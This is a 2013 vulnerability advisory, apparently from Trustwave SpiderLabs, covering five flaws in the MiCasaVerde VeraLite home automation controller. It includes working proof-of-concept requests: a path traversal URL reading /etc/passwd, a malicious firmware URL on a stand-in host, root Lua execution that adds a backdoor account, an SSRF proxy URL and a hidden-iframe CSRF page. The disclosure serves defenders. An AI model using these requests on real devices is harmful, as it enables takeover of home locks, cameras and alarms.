MiCasaVerde VeraLite 1.5.408 - Multiple Vulnerabilities

Multiple Vulnerabilities in MiCasaVerde VeraLite
 
Published: 08/01/13
Version: 1.0
 
Vendor: MiCasaVerde (http://www.micasaverde.com/)
Product: VeraLite
Version affected:  1.5.408
 
Product description:
The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product
which centralizes control over home automation devices such as door locks,
window blinds, security cameras, smoke detectors, HVAC systems, lights,
etc.
 
Finding 1: Path Traversal
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4861
CWE: CWE-23
 
The VeraLite has a path traversal vulnerability allowing for disclosure of
arbitrary files. This allows an attacker to retrieve the contents of any
file on the system such as the /etc/passwd file which contains the hashed
root password as well as the tech support remote access password if remote
access has been configured.
 
A proof of concept can be run against a VeraLite by using the following URL:
GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd
 
On a newly unboxed VeraLite, this shouldn't work as the first part of the
path used by the script doesn't exist, but the directory which must exist
for exploitation to work correctly can be created by using the
store_file.sh script, like so:
 
GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test
 
This attack can also be launched through the Internet-based control panel
at cp.mios.com when logged in as either an admin or guest level account.
 
Finding 2: Insufficient Authorization Checks
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4862
CWE: CWE-285
 
The VeraLite makes a distinction between Administrator and Guest users such
that Guest users should not be able to make changes to the configuration of
the system. There are several functionalities included in the VeraLite
console available to Guest level users which can be used to escalate
privileges.
 
A) Firmware update - This allows a guest to push custom firmware to the
unit and can allow for full compromise of the device.
 
A proof of concept can be seen using the following URL:
GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs
 
B) Settings backup - This allows a guest to obtain copies of various
sensitive files, including the lighttpd.users file which contains hashed
cp.mios.com passwords, and the passwd file which contains the hashed root
password.
 
GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1
 
C) Test Luup code (Lua) - This allows a guest to run Lua code on the
VeraLite as root. A backdoor account can be added with the following POST
request:
 
POST /port_49451/upnp/control/hag HTTP/1.1
Host: A.B.C.D
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 311
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
 
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>
 
 
Finding 3: Insufficient Authentication Checks
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4863
CWE: CWE-287
 
The VeraLite exposes UPnP functionality which allows for Lua code to be run
as root from the LAN without authentication using the RunLua action in the
HomeAutomationGateway service of the HomeAutomationGateway device. A
backdoor account can be added with the following POST request to port
49451:
 
POST /upnp/control/hag HTTP/1.1
Host: A.B.C.D:49451
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: text/xml;charset=UTF-8
MIME-Version: 1.0
SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"
Content-Length: 311
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
 
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>
 
Finding 4: Server-Side Request Forgery
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4864
CWE: CWE-918
 
The VeraLite will make HTTP requests on behalf of a user using the
/cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of
trustwave.com is as follows:
 
GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com
 
This allows an attacker to bypass firewall controls, use the VeraLite as a proxy
 
 
Finding 5: Cross-Site Request Forgery
*****Credit: Daniel Crowley of Trustwave SpiderLabs
CVE: CVE-2013-4865
CWE: CWE-352
 
The VeraLite does not implement any defense against cross-site request
forgery. A proof of concept as seen below can cause a Vera user to update
their firmware using a custom firmware URL:
 
<html>
<body>
<iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1">
</iframe>
</body>
</html>
 
If this PoC was embedded in any web page a targeted user visited, an
attacker would be able to make arbitrary changes to the firmware on the
device, allowing the potential for remote root access.
 
Vendor Response:
"...the "vulnerabilities" you referred to were deliberate design decisions
because that's what the customers in this particular channel (ie Vera
retail) want.  As you can see we have an open forum to discuss this, and
very people object to leaving Vera open.  So we are not able to lock down
the gateway, and effectively break the systems of many customers who rely
on the open system to run their own scripts and plugins."
 
Remediation Steps:
No official patch is available.  To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of access control lists and proper
network segmentation.
 
Revision History:
04/23/13 - Vulnerability disclosed to vendor
06/04/13 - Vendor confirms they will not fix
08/01/13 - Advisory published
 
 
References
1. http://www.micasaverde.com/

#  0day.today [2018-03-14]  #